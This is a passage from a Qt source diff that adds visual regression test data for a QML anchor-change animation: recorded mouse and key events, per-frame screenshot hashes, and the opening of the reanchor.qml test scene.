+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 174; y: 174
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4544
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4560
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4576
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4592
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4608
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4624
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4640
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4656
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 174; y: 174
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4672
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4688
+ hash: "5d38bf4a033de31985ae9989107908af"
+ }
+ Frame {
+ msec: 4704
+ hash: "ed1bd2abd42848ecd07f0f0654c2b80f"
+ }
+ Frame {
+ msec: 4720
+ hash: "588de6662123733303d93f62c6481f6a"
+ }
+ Frame {
+ msec: 4736
+ hash: "aae79c2fbb2fd1ac7efa9802bff40f95"
+ }
+ Frame {
+ msec: 4752
+ hash: "f17512798136f67f25aaa0aeb60678e1"
+ }
+ Frame {
+ msec: 4768
+ hash: "79578a1e0e3e9cd45c210d0c5d3e75d6"
+ }
+ Frame {
+ msec: 4784
+ hash: "5dad4ff201744cda6ff41f89414c8d11"
+ }
+ Frame {
+ msec: 4800
+ hash: "df51ffd71a82742af7c06f8a786f6bf2"
+ }
+ Frame {
+ msec: 4816
+ image: "reanchor.5.png"
+ }
+ Frame {
+ msec: 4832
+ hash: "0dff03ea9154bdb2a813358b04cfbde9"
+ }
+ Frame {
+ msec: 4848
+ hash: "09bdf2869dee1c0cbe3c8c2e9254580b"
+ }
+ Frame {
+ msec: 4864
+ hash: "ba7762978bbd63d624029910fe16fb6d"
+ }
+ Frame {
+ msec: 4880
+ hash: "f00d198ab8f4f625b60e9e2071d8adfd"
+ }
+ Frame {
+ msec: 4896
+ hash: "adcec9c9a5b0d60cf45b2915365ea09c"
+ }
+ Frame {
+ msec: 4912
+ hash: "a65cd6fbb26d618692ef23148015a4f2"
+ }
+ Frame {
+ msec: 4928
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 4944
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 4960
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 4976
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 4992
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5008
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5024
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5040
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5056
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5072
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5088
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5104
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5120
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5136
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5152
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5168
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5184
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5200
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5216
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5232
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5248
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5264
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5280
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5296
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5312
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5328
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5344
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5360
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5376
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5392
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5408
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5424
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5440
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5456
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5472
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5488
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5504
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5520
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5536
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5552
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5568
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5584
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5600
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5616
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5632
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5648
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5664
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5680
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5696
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5712
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5728
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5744
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5760
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5776
+ image: "reanchor.6.png"
+ }
+ Frame {
+ msec: 5792
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5808
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 95; y: 78
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5824
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5840
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5856
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5872
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5888
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5904
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5920
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5936
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 95; y: 78
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5952
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 5968
+ hash: "103bbc9ce594851f5243b103f8fef1c1"
+ }
+ Frame {
+ msec: 5984
+ hash: "c381148b052be2e6244f24c2292b89cf"
+ }
+ Frame {
+ msec: 6000
+ hash: "2fda1d635fa47bff7de867df3dadfb4f"
+ }
+ Frame {
+ msec: 6016
+ hash: "4d35e00af33ad5dc84998cda2d066b4e"
+ }
+ Frame {
+ msec: 6032
+ hash: "14005d52d372acf6d3495f69bbf00b7d"
+ }
+ Frame {
+ msec: 6048
+ hash: "29728f64d12e858d960c4e197824ef43"
+ }
+ Frame {
+ msec: 6064
+ hash: "798822f0c20ef87cb01fe1dcd76c7585"
+ }
+ Frame {
+ msec: 6080
+ hash: "4cdeea0f91587ef32a2c2e282f6d00e6"
+ }
+ Frame {
+ msec: 6096
+ hash: "08ca5d16771e58da6cdd20b86dc65f03"
+ }
+ Frame {
+ msec: 6112
+ hash: "e9aeb432709d275048ad9d84fb21db1a"
+ }
+ Frame {
+ msec: 6128
+ hash: "3b642f27d356fd1815dc50f8e750623d"
+ }
+ Frame {
+ msec: 6144
+ hash: "7c1db0ec278849ec044ea0aa3383075b"
+ }
+ Frame {
+ msec: 6160
+ hash: "da902850879c95d4ddffbb1ba0060f25"
+ }
+ Frame {
+ msec: 6176
+ hash: "e4053bd0db7752e7a47e096da645b69b"
+ }
+ Frame {
+ msec: 6192
+ hash: "aabbb6d34399818347db265151a547b7"
+ }
+ Frame {
+ msec: 6208
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6224
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6240
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6256
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6272
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6288
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6304
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6320
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6336
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6352
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6368
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6384
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6400
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6416
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6432
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6448
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6464
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6480
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6496
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6512
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6528
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6544
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6560
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6576
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6592
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6608
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6624
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6640
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6656
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6672
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6688
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6704
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6720
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6736
+ image: "reanchor.7.png"
+ }
+ Frame {
+ msec: 6752
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6768
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6784
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6800
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6816
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6832
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6848
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6864
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6880
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6896
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6912
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6928
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6944
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6960
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6976
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 6992
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7008
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7024
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7040
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7056
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7072
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7088
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7104
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7120
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7136
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7152
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7168
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7184
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7200
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7216
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7232
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7248
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7264
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7280
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7296
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7312
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7328
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7344
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7360
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7376
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7392
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7408
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7424
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7440
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7456
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7472
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7488
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7504
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7520
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7536
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7552
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7568
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7584
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7600
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 86; y: 136
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7616
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7632
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7648
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7664
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 86; y: 136
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7680
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 7696
+ image: "reanchor.8.png"
+ }
+ Frame {
+ msec: 7712
+ hash: "e1a8cdcb1f3ec097a968b3b20964c6e8"
+ }
+ Frame {
+ msec: 7728
+ hash: "44fc52479251327d0612de17ddb056eb"
+ }
+ Frame {
+ msec: 7744
+ hash: "fa7e4a910aa60500575a34852c0c7cb8"
+ }
+ Frame {
+ msec: 7760
+ hash: "66d205a02e35221e7684ab995acc1312"
+ }
+ Frame {
+ msec: 7776
+ hash: "4ebe8dba6d9f3179b610b2298a7484a2"
+ }
+ Frame {
+ msec: 7792
+ hash: "9b2582fccffa34fe389ba427ce47619a"
+ }
+ Frame {
+ msec: 7808
+ hash: "e6f15478bda9995f82976b9e16659c8e"
+ }
+ Frame {
+ msec: 7824
+ hash: "f08df0885fff04819ada6c10b25dd489"
+ }
+ Frame {
+ msec: 7840
+ hash: "0f57c152306747cfa27171f1947ca65d"
+ }
+ Frame {
+ msec: 7856
+ hash: "89d9c988abd55063e210b81193c6a8f0"
+ }
+ Frame {
+ msec: 7872
+ hash: "91e0d0a5d57210c790c2d2399d1f7022"
+ }
+ Frame {
+ msec: 7888
+ hash: "267874fdc09459b3e854c06d9ae99a54"
+ }
+ Frame {
+ msec: 7904
+ hash: "2f58a508f439c40c6f2bd7da1f30deff"
+ }
+ Frame {
+ msec: 7920
+ hash: "1451548d9f0002a6c4765cb616ab7f59"
+ }
+ Frame {
+ msec: 7936
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 7952
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 7968
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 7984
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8000
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8016
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8032
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8048
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8064
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8080
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8096
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8112
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8128
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8144
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8160
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8176
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8192
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8208
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8224
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8240
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8256
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8272
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8288
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8304
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8320
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8336
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8352
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8368
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8384
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8400
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 177; y: 173
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8416
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8432
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8448
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8464
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8480
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8496
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8512
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 177; y: 173
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8528
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 8544
+ hash: "49a6ed64f80094b41348eda19fa5a55e"
+ }
+ Frame {
+ msec: 8560
+ hash: "3ee42fb431d7824c1cd6ddf95af91d10"
+ }
+ Frame {
+ msec: 8576
+ hash: "d807890cc0670eda9fac267769366771"
+ }
+ Frame {
+ msec: 8592
+ hash: "50cb68de9ca0c3a8db1df58d7cbb0d21"
+ }
+ Frame {
+ msec: 8608
+ hash: "0af06233156b3a469ce9e7d80a5767c0"
+ }
+ Frame {
+ msec: 8624
+ hash: "9b2c77f004e480fd485e092c08feaf81"
+ }
+ Frame {
+ msec: 8640
+ hash: "b36a09269dfc9173ff8583a62ae87e8a"
+ }
+ Frame {
+ msec: 8656
+ image: "reanchor.9.png"
+ }
+ Frame {
+ msec: 8672
+ hash: "4d3aa8219edffe6fda316482821d4a64"
+ }
+ Frame {
+ msec: 8688
+ hash: "ea8a7104840254ac2706ca2635b8a95f"
+ }
+ Frame {
+ msec: 8704
+ hash: "a8569ef3287da9699809a2ad107b87b1"
+ }
+ Frame {
+ msec: 8720
+ hash: "91d09653dbced4ecb3d711737cb89ca1"
+ }
+ Frame {
+ msec: 8736
+ hash: "d5391f3b40f2dfada0336d889d438d69"
+ }
+ Frame {
+ msec: 8752
+ hash: "27cd9690607f97cc84c2a0a4455feccb"
+ }
+ Frame {
+ msec: 8768
+ hash: "f885588779a5de5d7d47f48bf9a2a6ee"
+ }
+ Frame {
+ msec: 8784
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 8800
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 8816
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 8832
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 8848
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 8864
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 8880
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 8896
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 8912
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 8928
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 8944
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 8960
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 8976
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 8992
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 9008
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 9024
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 9040
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 9056
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 9072
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 9088
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 9104
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 9120
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 9136
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 9152
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 9168
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 9184
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 9200
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 9216
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 9232
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 9248
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 9264
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 9280
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 9296
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+ Frame {
+ msec: 9312
+ hash: "1137e22c68e043950811dee295e19b04"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/animation/reanchor/reanchor.qml b/tests/auto/declarative/qmlvisual/animation/reanchor/reanchor.qml
new file mode 100644
index 00000000..e0a5a6da
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/reanchor/reanchor.qml
@@ -0,0 +1,69 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: container
+ width: 200; height: 200
+ Rectangle {
+ id: myRect
+ objectName: "MyRect"
+ color: "green";
+ anchors.left: parent.left
+ anchors.right: rightGuideline.left
+ anchors.top: topGuideline.top
+ anchors.bottom: container.bottom
+ }
+ Item { id: leftGuideline; x: 10 }
+ Item { id: rightGuideline; x: 150 }
+ Item { id: topGuideline; y: 10 }
+ Item { id: bottomGuideline; y: 150 }
+ Item { id: topGuideline2; y: 50 }
+ Item { id: bottomGuideline2; y: 175 }
+
+ MouseArea {
+ id: wholeArea
+ anchors.fill: parent
+ onClicked: {
+ if (container.state == "") {
+ container.state = "reanchored";
+ } else if (container.state == "reanchored") {
+ container.state = "reanchored2";
+ } else if (container.state == "reanchored2")
+ container.state = "reanchored";
+ }
+ }
+
+ states: [ State {
+ name: "reanchored"
+ AnchorChanges {
+ target: myRect;
+ anchors.left: leftGuideline.left
+ anchors.right: container.right
